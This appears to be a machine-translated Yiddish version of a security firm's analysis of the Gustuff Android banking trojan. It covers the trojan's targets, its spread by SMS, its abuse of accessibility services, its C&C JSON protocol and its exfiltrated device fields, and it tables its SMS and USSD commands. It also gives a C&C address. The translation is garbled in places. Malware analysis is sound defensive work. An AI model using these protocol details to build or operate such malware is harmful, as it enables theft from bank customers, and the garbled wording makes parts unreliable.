ื ืึธืจ ืื ืื ืืขืจืข ืืึธื Group-IB ืืืขืื ืื ืืขืืืงืืื ืคืื ืื ืจืืจืขืืืืืง ืึทื ืืจืืื Trojan Gustuff. ืขืก ืึทืจืืขื ืืืืกืฉืืืกืืขื ืืื ืืื ืืขืจื ืึทืฆืืึธื ืึทืืข ืืืจืงืคืืขืฆืขืจ, ืึทืืึทืงืื ื ืงืืืืึทื ืฅ ืคืื ืื 100 ืืจืขืกืืขืจ ืคืจืขืื ืืึทื ืงืก, ื ืืฆืขืจืก ืคืื ืจืืจืขืืืืืง 32 ืงืจืืคึผืืึธ ืืืึธืืึทืฅ, ืืื ืืขืืื ื ืืื ืืจืืืก E- ืืึทื ืื ืจืขืกืืจืกื. ืืืขืจ ืื ืืขืืืขืืึธืคึผืขืจ ืคืื Gustuff ืืื ืึท ืจืืกืืฉ-ืืขืจืขืื ืกืืืืขืจ ืงืจืืืื ืึทื ืืื ืืขืจ ืื ืฆืื ืขืืขื ืืฉ ืืขืฉืืึธืคืคืขืจ. ืืื ืืขืฆืื ืก, ืขืจ ืืขืืืืื ืืืื ืืจืึธืืืฉืึทื ืืื "ืึท ืขืจื ืกื ืคึผืจืึธืืืงื ืคึฟืึทืจ ืืขื ืืฉื ืืื ืืืืกื ืืื ืืขืจืคืึทืจืื ื."
ืืึทืืืฉืึทืก ืงืึธื ืึทื ืึทืืืกืืก ืืืืืข ืืื Group-IB ืืืืืื ืคึผืืกืึทืจืขืื ืืื ืืืื ืคืึธืจืฉืื ื, ืขืจ ืจืขืื ืืื ืืขืืึทื ืืืขืื ืืื Gustuff ืึทืจืืขื ืืื ืืืึธืก ืื ืืืื ืืืฉืขืจื ืืขื ืขื.
ืคึฟืึทืจ ืืืขืืขื ืืื ืืืกืืืฃ ืืืืขื?
Gustuff ืืขืืขืจื ืฆื ืึท ื ืืึทืข ืืืจ ืคืื ืืึทืืืืึทืจืข ืืื ืืึธืจ ืึธืืึทืืืืืื ืคืึทื ืืงืฉืึทื ื. ืืืื ืื ืืขืืืขืืึธืคึผืขืจ, ืื ืืจืึธืืืฉืึทื ืืื ืืขืืืืจื ืึท ื ืืึทืข ืืื ืืืคึผืจืืืื ืืืขืจืกืืข ืคืื โโืื AndyBot ืืึทืืืืึทืจืข, ืืืึธืก ืืื ื ื ืืืืขืืืขืจ 2017 ืืื ืึทืืึทืงืื ื ืึทื ืืจืืื ืคืึธื ืขืก ืืื ืืึทื ืืืขื ืขื ืืขืื ืืืจื ืคืืฉืื ื ืืืขื ืคืืจืืขื ืืืึธืก ืืขื ืขื ืืึทืกืืื ืืื ืจืืจืขืืืืืง ืึทืคึผืืึทืงืืืฉืึทื ื ืคืื ืืึทืืืืกื ืืื ืืขืจื ืึทืฆืืึธื ืึทืืข ืืึทื ืงืก ืืื ืฆืึธืืื ื ืกืืกืืขืืขื. Bestoffer ืืึธื ืืขืืืืื ืึทื ืื Gustuff Bot ืคึผืจืึธืงืึทื ืคึผืจืืึทื ืืื ืืขืืืขื $ 800 ืคึผืขืจ ืืืืฉ.
ืึทื ืึทืืืกืืก ืคืื ืื Gustuff ืืืกืืขืจ ืืขืืืืื ืึทื ืื ืืจืึธืืืฉืึทื ืืื ืคึผืึทืืขื ืืฉืึทืื ืืึทืจืืึทืืื ื ืงืึทืกืืึทืืขืจื ื ืืฆื ืจืืจืขืืืืืง ืึทืคึผืืึทืงืืืฉืึทื ื ืคืื ืื ืืจืขืกืื ืืึทื ืงืก, ืึทืืึท ืืื ืืึทื ืง ืคืื ืึทืืขืจืืงืข, ืืึทื ืง ืคืื ืกืงืึธืืืึทื ื, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, ืืื ืืขืืื ื ืืื ืงืจืืคึผืืึธ ืืืึธืืึทืฅ. ืืืืงืึธืื ืืืึทืืืขื, BitPay, Cryptopay, Coinbase, ืขืืง.
ืึธืจืืืื ืึทืืื ืืืฉืืคื ืืื ืึท ืงืืึทืกืืฉ ืืึทื ืงืื ื ืืจืึธืืืฉืึทื, ืืื ืื ืงืจืึทื ื ืืืขืจืกืืข, Gustuff ืืื ืืืืืืืืง ืืงืกืคึผืึทื ืืื ืื ืจืฉืืื ืคืื ืคึผืึธืืขื ืฆืืขื ืืึทืจืืึทืฅ ืคึฟืึทืจ ืืึทืคืึทืื. ืืื ืึทืืืฉืึทื ืฆื ืึทื ืืจืืื ืึทืคึผืืึทืงืืืฉืึทื ื ืคึฟืึทืจ ืืึทื ืงืก, ืคืื ืืขืืฉ ืงืึธืืคึผืึทื ืืขืก ืืื ืงืจืืคึผืืึธ ืืึทืืื ืื ืืก, Gustuff ืืื ืึทืืืขื ืฆื ื ืืฆืขืจืก ืคืื ืืึทืจืง ืึทืคึผืืึทืงืืืฉืึทื ื, ืึธื ืืืื ืกืืึธืจื, ืฆืึธืืื ื ืกืืกืืขืืขื ืืื ืจืขืืข ืฉืืืืื. ืืื ืืึทืืื ืืขืจ, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut ืืื ืื ืืขืจืข.
ืคึผืึธืืืฆืืข ืคืื ื: ืืขืืฉืื ืคึฟืึทืจ ืืึทืกืข ืื ืคืขืงืฆืืข
Gustuff ืืื ืงืขืจืึทืงืืขืจืืืื ืืืจื ืื "ืงืืึทืกืืฉ" ืืืขืงืืึธืจ ืคืื ืืืจืืืจืื ื ืืื ืึทื ืืจืืื ืกืืึทืจืืคืึธื ืขืก ืืืจื SMS ืืืืืื ืื ืืื ืืื ืงืก ืฆื ืึทืคึผืงืงืก. ืืืขื ืึทื ืึทื ืืจืืื ืืืื ืืื ืื ืคืขืงืืึทื ืืื ืึท ืืจืึธืืืฉืึทื ืืืืฃ ืื ืืึทืคึฟืขืื ืคืื ืื ืกืขืจืืืขืจ, Gustuff ืงืขื ืืืืึทืืขืจ ืคืึทืจืฉืคึผืจืืืื ืืืจื ืื ืงืึธื ืืึทืงื ืืึทืืึทืืืืก ืคืื ืื ืื ืคืขืงืืึทื ืืขืืขืคืึธื ืึธืืขืจ ืืืจื ืื ืกืขืจืืืขืจ ืืึทืืึทืืืืก. ืื ืคืึทื ืืงืฉืึทื ืึทืืืื ืคืื Gustuff ืืื ืืืืืื ื ืคึฟืึทืจ ืืึทืกืข ืื ืคืขืงืฆืืข ืืื ืืึทืงืกืืืื ืงืึทืคึผืืืึทืืืืืืฉืึทื ืคืื ืื ืืขืฉืขืคื ืคืื ืืืึทื ืึธืคึผืขืจืืืืขืจื - ืขืก ืืื ืึท ืืื ืฆืืง "ืึทืืืึธ-ืคืืื" ืคึฟืื ืงืฆืืข ืืื ืืึทืืืฉืืืึทืืึทื ืจืืจืขืืืืืง ืืึทื ืงืื ื ืึทืคึผืืึทืงืืืฉืึทื ื ืืื ืงืจืืคึผืืึธ ืืืึธืืึทืฅ, ืืืึธืก ืึทืืึทืื ืืืจ ืฆื ืคืึทืจืืืืขืจื ืืื ืคืึทืจืืจืขืกืขืจื ืื ืื ืืืืืข ืคืื โโืืขืื.
ื ืืขืจื ืขื ืคืื ืื ืืจืึธืืืฉืึทื ืืขืืืืื ืึทื ืื ืึทืืืึธืคืืื ืคืื ืงืฆืืข ืืื ืืืคึผืืึทืืขื ืึทื ืืื ืขืก ืืื ืื ืึทืงืกืขืกืึทืืืืืื ืกืขืจืืืืก, ืึท ืืื ืกื ืคึฟืึทืจ ืืขื ืืฉื ืืื ืืืกืึทืืืืืืื. Gustuff ืืื ื ืืฉื ืืขืจ ืขืจืฉืืขืจ ืืจืึธืืืฉืึทื ืฆื ืืฆืืื ืืืืคึผืึทืก ืฉืืฅ ืงืขืื ืื ืืขืจืึทืงืฉืึทื ืืื ืคึฟืขื ืฆืืขืจ ืขืืขืืขื ืื ืคืื ืื ืืขืจืข ืึทืคึผืืึทืงืืืฉืึทื ื ื ืืฆื ืืขื ืึทื ืืจืืื ืืื ืกื. ืึธืืขืจ, ืื ื ืืฆื ืคืื ืึทืงืกืขืกืึทืืืืืื ืกืขืจืืืืก ืืื ืงืึธืืืื ืึทืฆืืข ืืื ืึท ืืึทืฉืื ืคืืืืขืจ ืืื ื ืึธื ืืึทื ืฅ ืืขืืื.
ื ืึธื ืืึทืื ืืึธืืืื ื ืฆื ืื ืงืึธืจืื ืก ืืขืืขืคืึธื, Gustuff, ื ืืฆื ืื ืึทืงืกืขืกืึทืืืืืื ืกืขืจืืืืก, ืืื ืืืืืืช ืฆื ืื ืืขืจืึทืงื ืืื ืคึฟืขื ืฆืืขืจ ืขืืขืืขื ืื ืคืื ืื ืืขืจืข ืึทืคึผืืึทืงืืืฉืึทื ื (ืืึทื ืงืื ื, ืงืจืืคึผืืึธืงืืจืจืขื ืกื, ืืื ืืขืืื ื ืืื ืึทืคึผืืึทืงืืืฉืึทื ื ืคึฟืึทืจ ืึธื ืืืื ืฉืึทืคึผืื ื, ืืขืกืืืืฉืื ื, ืืื"ื ื), ืืืจืืคืืจื ืื ืึทืงืฉืึทื ื ื ืืืืืง ืคึฟืึทืจ ืื ืึทืืึทืงืขืจื. . ืคึฟืึทืจ ืืืึทืฉืคึผืื, ืืืืฃ ืื ืืึทืคึฟืขื ืคืื ืื ืกืขืจืืืขืจ, ืึท ืืจืึธืืืฉืึทื ืงืขื ืขื ืืจืืงื ืงื ืขืคึผืืขื ืืื ืืืืฉื ืื ืืืึทืืืขืก ืคืื ืืขืงืกื ืคืขืืืขืจ ืืื ืืึทื ืงืื ื ืึทืคึผืืึทืงืืืฉืึทื ื. ื ืืฆื ืื ืึทืงืกืขืกืึทืืืืืื ืกืขืจืืืืก ืืขืงืึทื ืืืึทื ืึทืืึทืื ืื ืืจืึธืืืฉืึทื ืฆื ืืืืคึผืึทืก ืื ืืืืขืจืืืื ืืขืงืึทื ืืืึทืื ืืขื ืืฆื ืืืจื ืืึทื ืงืก ืฆื ืึทื ืืงืขืื ืฉืืขืื ืื ืคืจืืขืจืืืงืข ืืืจ ืจืืจืขืืืืืง ืืจืึธืืืฉืึทื ืก, ืืื ืืขืืื ื ืืื ืขื ืืขืจืื ืืขื ืืื ืืืืขืจืืืื ืคึผืึธืืืืืง ืืืคึผืืึทืืขื ืึทื ืืืจื Google ืืื ื ืืึทืข ืืืขืจืกืืขืก ืคืื ืื ืึทื ืืจืืื ืึทืก. ืืืื, Gustuff "ืืืืกื ืืื" ืฆื ืืืกืืืืึทื Google ืคึผืจืึธืืขืงื ืฉืืฅ: ืืืื ืืขืจ ืืืืจ, ืื ืคึฟืื ืงืฆืืข ืึทืจืืขื ืืื 70% ืคืื ืงืึทืกืขืก.
Gustuff ืงืขื ืขื ืืืื ืืืืึทืื ืฉืืืื ืื PUSH ื ืึธืืืึทืคืึทืงืืืฉืึทื ื ืืื ืืืงืึทื ื ืคืื ืืึทืืืฉืืืึทืืึทื ืจืืจืขืืืืืง ืึทืคึผืืึทืงืืืฉืึทื ื. ืืขืจ ืืึทื ืืฆืขืจ ืงืืืงื ืืืืฃ ืื PUSH ืึธื ืืึธื ืืื ืืขื ืึท ืคืืฉืื ื ืคึฟืขื ืฆืืขืจ ืืึทืื ืืึธืืืื ืคืื ืื ืกืขืจืืืขืจ, ืืื ืขืจ ืืืื ืืจืืื ืื ืืขืืขืื ืืึทื ืง ืงืึทืจืื ืึธืืขืจ ืงืจืืคึผืืึธ ืืืึทืื ืืึทืื. ืืื ืื ืื ืืขืจ Gustuff ืกืฆืขื ืึทืจ, ืื ืึทืคึผืืึทืงืืืฉืึทื ืืืืฃ ืืืืึทืฃ ืคืื ืืืึธืก ืื PUSH ืึธื ืืึธื ืืื ืืขืืืืื ืืื ืืขืขืคื ื. ืืื ืืขื ืคืึทื, ืื ืืึทืืืืึทืจืข, ืืืืฃ ืืึทืคึฟืขื ืคืื ืื ืกืขืจืืืขืจ ืืืจื ืื ืึทืงืกืขืกืึทืืืืืื ืกืขืจืืืืก, ืงืขื ืขื ืคึผืืึธืืืืจื ืื ืคืึธืจืขื ืคืขืืืขืจ ืคืื ืึท ืืึทื ืงืื ื ืึทืคึผืืึทืงืืืฉืึทื ืคึฟืึทืจ ืึท ืคืจืึธืืืฉืึทืืึทื ื ืืจืึทื ืกืึทืงืืืึธื.
ืื ืคืึทื ืืงืฉืึทื ืึทืืืื ืคืื Gustuff ืืืื ืืืื ืฉืืงื ืืื ืคึฟืึธืจืืึทืฆืืข ืืืขืื ืึท ืื ืคืขืงืืึทื ืืืื ืฆื ืื ืกืขืจืืืขืจ, ืื ืคืืืืงืืื ืฆื ืืืืขื ืขื / ืฉืืงื SMS ืึทืจืืืงืืขื, ืฉืืงื USSD ืจืืงืืืขืก, ืงืึทืืขืจ SOCKS5 Proxy, ื ืึธื ืึท ืืื ืง, ืฉืืงื ืืขืงืขืก (ืึทืจืืึทื ืืขืจืขืื ื ืคืึธืืึธ ืกืงืึทื ื ืคืื ืืึธืงืืืขื ืื, ืกืงืจืขืขื ืฉืึธืฅ, ืคืึธืืืึทืืจืึทืคืก) ืกืขืจืืืขืจ, ืืึทืฉืืขืืืง ืื ืืืื ืฆื ืคืึทืืจืืง ืกืขืืืื ืืก.
ืืึทืืืืึทืจืข ืึทื ืึทืืืกืืก
ืืืืืขืจ ืืืจ ืื ืกืืึทืืืจื ืึท ืืืืืข ืึทืคึผืืึทืงืืืฉืึทื, ืื ืึทื ืืจืืื ืึทืก ืืืืึทืื ืื ืืึทื ืืฆืขืจ ืึท ืคึฟืขื ืฆืืขืจ ืืื ืึท ืจืฉืืื ืคืื ืจืขืื ืืขืืขืื ืืืจื Gustuff:
ืื ืึทืคึผืืึทืงืืืฉืึทื ืืืขื ืืืื ืืื ืกืืึทืืืจื ืืืืื ื ืึธื ืืืงืืืขื ืื ืฆืืฉืืืืขื ืคืื ืื ืืึทื ืืฆืขืจ. ื ืึธื ืืึธื ืืฉืื ื ืื ืึทืคึผืืึทืงืืืฉืึทื, ืื ืืจืึธืืืฉืึทื ืืืขื ืืืืึทืื ืืขื ืืึทื ืืฆืขืจ ืึท ืคึฟืขื ืฆืืขืจ:
ื ืึธื ืืืึธืก ืขืก ืืืขื ืึทืจืึธืคึผื ืขืืขื ืืืึทื ืืืืื.
ืืืกืืืฃ ืืื ืคึผืึทืงื, ืืืื ืืขืจ ืืืืจ, ืืืจื ืึท ืคึผืึทืงืขืจ ืคืื FTT. ื ืึธื ืกืืึทืจืืึทืคึผ, ืื ืึทืคึผืืึทืงืืืฉืึทื ืคึผืืจืืึทืืืงืื ืงืึธื ืืึทืงื ืื CnC ืกืขืจืืืขืจ ืฆื ืืึทืงืืืขื ืงืึทืืึทื ืื. ืขืืืขืืข ืืขืงืขืก ืืืจ ืืืืึทืืึทื ื ืืขื ืืฆื ืึทื IP ืึทืืจืขืก ืืื ืื ืงืึธื ืืจืึธื ืกืขืจืืืขืจ 88.99.171[.]105 (ืืขืจื ืึธื ืืืจ ืืืขืื ืึธื ืืืืึทืื ืขืก ืืื <%CnC%>).
ื ืึธื ืงืึทืืขืจ, ืื ืคึผืจืึธืืจืึทื ืืืืื ืฆื ืฉืืงื ืึทืจืืืงืืขื ืฆื ืื ืกืขืจืืืขืจ http://<%CnC%>/api/v1/get.php.
ืืขืจ ืขื ืืคืขืจ ืืื ืืขืจืืื ืฆื ืืืื JSON ืืื ืื ืคืืืืขื ืืข ืคึฟืึธืจืืึทื:
{
"results" : "OK",
"command":{
"id": "<%id%>",
"command":"<%command%>",
"timestamp":"<%Server Timestamp%>",
"params":{
<%Command parameters as JSON%>
},
},
}ืืขืืขืจ ืืึธื ืืืขื ืื ืึทืคึผืืึทืงืืืฉืึทื ืืื ืึทืงืกืขืกื, ืขืก ืกืขื ืื ืืื ืคึฟืึธืจืืึทืฆืืข ืืืขืื ืื ืื ืคืขืงืืึทื ืืืื. ืืขืจ ืึธื ืืึธื ืคึฟืึธืจืืึทื ืืื ืืขืืืืื ืืื ืื. ืขืก ืืื ืืืื ืฆื ืืืืขืจืงื ืึทื ืื ืคืขืืืขืจ ืคืื, ืขืงืกืืจืข, ืึทืคึผืคึผืก ะธ ืืขืจืืืืืขื ืืฉ - ืึทืคึผืฉืึทื ืึทื ืืื ืืืขื ืืืื ืืขืฉืืงื ืืืืื ืืื ืคืึทื ืคืื ืึท ืืงืฉื ืืึทืคึฟืขื ืคืื CnC.
{
"info":
{
"info":
{
"cell":<%Sim operator name%>,
"country":<%Country ISO%>,
"imei":<%IMEI%>,
"number":<%Phone number%>,
"line1Number":<%Phone number%>,
"advertisementId":<%ID%>
},
"state":
{
"admin":<%Has admin rights%>,
"source":<%String%>,
"needPermissions":<%Application needs permissions%>,
"accesByName":<%Boolean%>,
"accesByService":<%Boolean%>,
"safetyNet":<%String%>,
"defaultSmsApp":<%Default Sms Application%>,
"isDefaultSmsApp":<%Current application is Default Sms Application%>,
"dateTime":<%Current date time%>,
"batteryLevel":<%Battery level%>
},
"socks":
{
"id":<%Proxy module ID%>,
"enabled":<%Is enabled%>,
"active":<%Is active%>
},
"version":
{
"versionName":<%Package Version Name%>,
"versionCode":<%Package Version Code%>,
"lastUpdateTime":<%Package Last Update Time%>,
"tag":<%Tag, default value: "TAG"%>,
"targetSdkVersion":<%Target Sdk Version%>,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":<%Device Model%>,
"localeCountry":<%Country%>,
"localeLang":<%Locale language%>,
"accounts":<%JSON array, contains from "name" and "type" of accounts%>,
"lockType":<%Type of lockscreen password%>
},
"extra":
{
"serial":<%Build serial number%>,
"board":<%Build Board%>,
"brand":<%Build Brand%>,
"user":<%Build User%>,
"device":<%Build Device%>,
"display":<%Build Display%>,
"id":<%Build ID%>,
"manufacturer":<%Build manufacturer%>,
"model":<%Build model%>,
"product":<%Build product%>,
"tags":<%Build tags%>,
"type":<%Build type%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"line1number":<%phonenumber%>,
"iccid":<%Sim serial number%>,
"mcc":<%Mobile country code of operator%>,
"mnc":<%Mobile network codeof operator%>,
"cellid":<%GSM-data%>,
"lac":<%GSM-data%>,
"androidid":<%Android Id%>,
"ssid":<%Wi-Fi SSID%>
},
"apps":{<%List of installed applications%>},
"permission":<%List of granted permissions%>
} ืกืืึธืจืื ื ืงืึทื ืคืืืืขืจืืืฉืึทื ืืึทืื
Gustuff ืกืืึธืจื ืึทืคึผืขืจืืืฉืึทื ืึทื ืืืืืืืง ืืื ืคึฟืึธืจืืึทืฆืืข ืืื ืึท ืืืืขืจืืึทื ื ืืขืงืข. ืืขืจ ืืขืงืข ื ืึธืืขื, ืืื ืืขืืื ื ืืื ืื ื ืขืืขื ืคืื ืื ืคึผืึทืจืึทืืขืืขืจืก ืืื ืขืก, ืืขื ืขื ืืขืจ ืจืขืืืืืึทื ืคืื ืงืึทืืงืืึทืืืืืื ื ืื MD5 ืกืึทืืึทืงื ืคืื ืื ืฉืืจืืงื 15413090667214.6.1<% ื ืึธืืขื%>ืืื <% ื ืึธืืขื%> โ ืขืจืฉื ื ืืืขื-ืืืขืจื. ืคึผืืืืึธื ืื ืืขืจืคึผืจืืืืืฉืึทื ืคืื ืื ื ืึธืืขื ืืืจ ืคืื ืงืฆืืข:
nameGenerator(input):
output = md5("15413090667214.6.1" + input)
ืืื ืืืึธืก ืืืื ืืืจ ืืืขืื ืึธื ืืืืึทืื ืขืก ืืื ื ืึธืืขื ืืขื ืขืจืึทืืึธืจ (ืึทืจืืึทื).
ืึทืืื ืืขืจ ืขืจืฉืืขืจ ืืขืงืข ื ืึธืืขื ืืื: ื ืึธืืขื ืืขื ืขืจืึทืืึธืจ ("API_SERVER_LIST"), ืขืก ืึผืืื ืืืึทืืืขืก ืืื ืื ืคืืืืขื ืืข ื ืขืืขื:
| ืืืึทืจืืึทืืืข ื ืึธืืขื | ืืืขืจื |
|---|---|
| ื ืึธืืขื ืืขื ืขืจืึทืืึธืจ ("API_SERVER_LIST") | ืึผืืื ืึท ืจืฉืืื ืคืื CnC ืึทืืจืขืกืขืก ืืื ืื ืคืึธืจืขื ืคืื ืึท ืืขื ืืข. |
| ื ืึธืืขื ืืขื ืขืจืึทืืึธืจ ("API_SERVER_URL") | ืึผืืื ืื CnC ืึทืืจืขืก. |
| ื ืึธืืขื ืืขื ืขืจืึทืืึธืจ ("SMS_UPLOAD") | ืื ืคืึธื ืืื ืืึทืฉืืืื ืืืจื ืคืขืืืงืืึทื. ืืืื ืื ืคืึธื ืืื ืืึทืฉืืืื, ืกืขื ืื SMS ืึทืจืืืงืืขื ืฆื CnC. |
| ื ืึธืืขื ืืขื ืขืจืึทืืึธืจ ("SMS_ROOT_NUMBER") | ืืขืืขืคืึธื ื ืืืขืจ ืฆื ืืืึธืก SMS ืึทืจืืืงืืขื ืืืงืืืขื ืืืจื ืื ืื ืคืขืงืืึทื ืืืื ืืืขื ืืืื ืืขืฉืืงื. ืคืขืืืงืืึทื ืืื ื ืึทื. |
| ื ืึธืืขื ืืขื ืขืจืึทืืึธืจ ("SMS_ROOT_NUMBER_RESEND") | ืืขืจ ืคืึธื ืืื ืงืืืจื ืืืจื ืคืขืืืงืืึทื. ืืืื ืืื ืกืืึทืืืจื, ืืืขื ืึท ืื ืคืขืงืืึทื ืืืื ื ืขืื ืึท SMS, ืขืก ืืืขื ืืืื ืืขืฉืืงื ืฆื ืื ืืืึธืจืฆื ื ืืืขืจ. |
| ื ืึธืืขื ืืขื ืขืจืึทืืึธืจ ("DEFAULT_APP_SMS") | ืืขืจ ืคืึธื ืืื ืงืืืจื ืืืจื ืคืขืืืงืืึทื. ืืืื ืื ืคืึธื ืืื ืืึทืฉืืืื, ืื ืึทืคึผืืึทืงืืืฉืึทื ืืืขื ืคึผืจืึธืฆืขืก ืื ืงืึทืืื ื SMS ืึทืจืืืงืืขื. |
| ื ืึธืืขื ืืขื ืขืจืึทืืึธืจ ("DEFAULT_ADMIN") | ืืขืจ ืคืึธื ืืื ืงืืืจื ืืืจื ืคืขืืืงืืึทื. ืืืื ืื ืคืึธื ืืื ืืึทืฉืืืื, ืื ืึทืคึผืืึทืงืืืฉืึทื ืืื ืึทืืืื ืืกืืจืึทืืึธืจ ืจืขืื. |
| ื ืึธืืขื ืืขื ืขืจืึทืืึธืจ ("DEFAULT_ACCESSIBILITY") | ืืขืจ ืคืึธื ืืื ืงืืืจื ืืืจื ืคืขืืืงืืึทื. ืืืื ืื ืคืึธื ืืื ืืึทืฉืืืื, ืึท ืืื ืกื ื ืืฆื ืื ืึทืงืกืขืกืึทืืืืืื ืกืขืจืืืืก ืืื ืคืืืกื ืืืง. |
| ื ืึธืืขื ืืขื ืขืจืึทืืึธืจ ("APPS_CONFIG") | ื JSON ืืืืคืขืฅ ืืืึธืก ืึผืืื ืึท ืจืฉืืื ืคืื ืึทืงืฉืึทื ื ืืืึธืก ืืืื ืืืื ืืืจืืืขืงืึธืื ืืืขื ืึท ืึทืงืกืขืกืึทืืืืืื ืืขืฉืขืขื ืืฉ ืคึฟืึทืจืืื ืื ืืื ืึท ืกืคึผืขืฆืืคืืฉ ืึทืคึผืืึทืงืืืฉืึทื ืืื ืืจืืืขืจื. |
| ื ืึธืืขื ืืขื ืขืจืึทืืึธืจ ("APPS_INSTALLED") | ืกืืึธืจื ืึท ืจืฉืืื ืคืื ืึทืคึผืืึทืงืืืฉืึทื ื ืืื ืกืืึทืืืจื ืืืืฃ ืื ืืืื. |
| ื ืึธืืขื ืืขื ืขืจืึทืืึธืจ ("IS_FIST_RUN") | ืืขืจ ืคืึธื ืืื ืืึทืฉืืขืืืง ืืื ืืขืจ ืขืจืฉืืขืจ ืึธื ืืืื. |
| ื ืึธืืขื ืืขื ืขืจืึทืืึธืจ ("UNIQUE_ID") | ืึผืืื ืึท ืืื ืฆืืง ืืืขื ืืืคืืขืจ. ืืืฉืขื ืขืจืืืืึทื ืืืขื ืื ืืึธื ืืื ืืึธื ืืฉื ืคึฟืึทืจ ืื ืขืจืฉืืขืจ ืืึธื. |
ืืึธืืืืข ืคึฟืึทืจ ืคึผืจืึทืกืขืกืื ื ืงืึทืืึทื ืื ืคืื ืื ืกืขืจืืืขืจ
ืื ืึทืคึผืืึทืงืืืฉืึทื ืกืืึธืจื ืื ืึทืืจืขืกืขืก ืคืื CnC ืกืขืจืืืขืจืก ืืื ืื ืคืึธืจืขื ืคืื ืึท ืืขื ืืข ืงืึธืืขื ืืืจื 85 ืฉืืจืืช. ืื ืจืฉืืื ืคืื CnC ืกืขืจืืืขืจืก ืงืขื ืขื ืืืื ืคืืจืขื ืืขืจื ื ืึธื ืงืึทืืึธืืข ืคืื โโืื ืฆืื ืขืืขื ืืึทืคึฟืขื, ืืื ืืืึธืก ืคืึทื ืื ืึทืืจืขืกืขืก ืืืขื ืืืื ืกืืึธืจื ืืื ืึท ืืืืขืจืืึทื ื ืืขืงืข.
ืืื ืขื ืืคืขืจ ืฆื ืื ืืงืฉื, ืืขืจ ืกืขืจืืืขืจ ืกืขื ืื ืึท ืืึทืคึฟืขื ืฆื ืื ืึทืคึผืืึทืงืืืฉืึทื. ืขืก ืืื ืืืื ืฆื ืืืืขืจืงื ืึทื ืงืึทืืึทื ืื ืืื ืคึผืึทืจืึทืืขืืขืจืก ืืขื ืขื ืืขืจืืื ืื ืืื JSON ืคึฟืึธืจืืึทื. ืื ืึทืคึผืืึทืงืืืฉืึทื ืงืขื ืขื ืคึผืจืึธืฆืขืก ืื ืคืืืืขื ืืข ืงืึทืืึทื ืื:
| ืงืึธืืขืงืืืื | ืืึทืฉืจืืึทืืื ื |
|---|---|
| forwardStart | ืึธื ืืืื ืฉืืงื SMS ืึทืจืืืงืืขื ืืืงืืืขื ืืืจื ืื ืื ืคืขืงืืึทื ืืืื ืฆื ืื CnC ืกืขืจืืืขืจ. |
| ืคึฟืึธืจืืืขืจืืกืืึธืคึผ | ืืึทืืื ืฉืืงื SMS ืึทืจืืืงืืขื ืืืงืืืขื ืืืจื ืื ืื ืคืขืงืืึทื ืืืื ืฆื ืื CnC ืกืขืจืืืขืจ. |
| ussdRun | ืืืกืคืืจื USSD ืืขืื. ืื ื ืืืขืจ ืฆื ืืืึธืก ืืืจ ืืึทืจืคึฟื ืฆื ืืึทืื ืึท ืืกืกื ืืขืื ืืื ืืืื ืืื ืื JSON ืคืขืื "ื ืืืขืจ". |
| sendSms | ืฉืืงื ืืืื SMS ืึธื ืืึธื (ืืืื ื ืืืืืง, ืืขืจ ืึธื ืืึธื ืืื "ืฉืคึผืึทืืื" ืืื ืคึผืึทืจืฅ). ืืื ืึท ืคึผืึทืจืึทืืขืืขืจ, ืื ืืึทืคึฟืขื ื ืขืื ืึท JSON ืืืืคืขืฅ ืืื ืื ืคืขืืืขืจ "ืฆื" - ืื ืืขืกืืื ืืืฉืึทื ื ืืืขืจ ืืื "ืืืฃ" - ืืขืจ ืืืฃ ืคืื ืืขืจ ืึธื ืืึธื. |
| sendSmsAb | ืฉืืงื SMS ืึทืจืืืงืืขื (ืืืื ื ืืืืืง, ืืขืจ ืึธื ืืึธื ืืื "ืฉืคึผืึทืืื" ืืื ืคึผืึทืจืฅ) ืฆื ืึทืืขืืขื ืืื ืื ืงืึธื ืืึทืงื ืจืฉืืื ืคืื ืื ืื ืคืขืงืืึทื ืืืื. ืืขืจ ืืขืืึทืืขื ืฆืืืืฉื ืฉืืงื ืึทืจืืืงืืขื ืืื 10 ืกืขืงืื ืืขืก. ืืขืจ ืืืฃ ืคืื ืืขื ืึธื ืืึธื ืืื ืืื ืื JSON ืคืขืื "ืืืฃ" |
| sendSmsMass | ืฉืืงื SMS ืึทืจืืืงืืขื (ืืืื ื ืืืืืง, ืืขืจ ืึธื ืืึธื ืืื "ืฉืคึผืึทืืื" ืืื ืคึผืึทืจืฅ) ืฆื ืื ืงืึธื ืืึทืงืื ืกืคึผืขืกืืคืืขื ืืื ืื ืืึทืคึฟืขื ืคึผืึทืจืึทืืขืืขืจืก. ืืขืจ ืืขืืึทืืขื ืฆืืืืฉื ืฉืืงื ืึทืจืืืงืืขื ืืื 10 ืกืขืงืื ืืขืก. ืืื ืึท ืคึผืึทืจืึทืืขืืขืจ, ืื ืืึทืคึฟืขื ื ืขืื ืึท JSON ืืขื ืืข (ืื "ืกืืก" ืคืขืื), ืื ืขืืขืืขื ืื ืคืื ืืืึธืก ืึทื ืืืึทืืื ืื ืคืขืืืขืจ "ืฆื" - ืื ืืขืกืืื ืืืฉืึทื ื ืืืขืจ ืืื "ืืืฃ" - ืืขืจ ืืืฃ ืคืื ืืขืจ ืึธื ืืึธื. |
| changeServer | ืืขืจ ืืึทืคึฟืขื ืงืขื ืขื ื ืขืืขื ืึท ืืืขืจื ืืื ืื ืฉืืืกื "URL" ืืื ืึท ืคึผืึทืจืึทืืขืืขืจ - ืืขืจ ืืึธื ืืืขื ืืืืฉื ืื ืืืขืจื ืคืื nameGenerator ("SERVER_URL") ืึธืืขืจ "ืืขื ืืข" - ืืขืจื ืึธื ืืขืจ ืืึธื ืืืขื ืฉืจืืึทืื ืื ืืขื ืืข ืฆื ื ืึธืืขื ืืขื ืขืจืึทืืึธืจ ("API_SERVER_LIST"). ืืืื, ืื ืึทืคึผืืึทืงืืืฉืึทื ืขื ืืขืจืื ืืขื ืื ืึทืืจืขืก ืคืื ืื CnC ืกืขืจืืืขืจืก. |
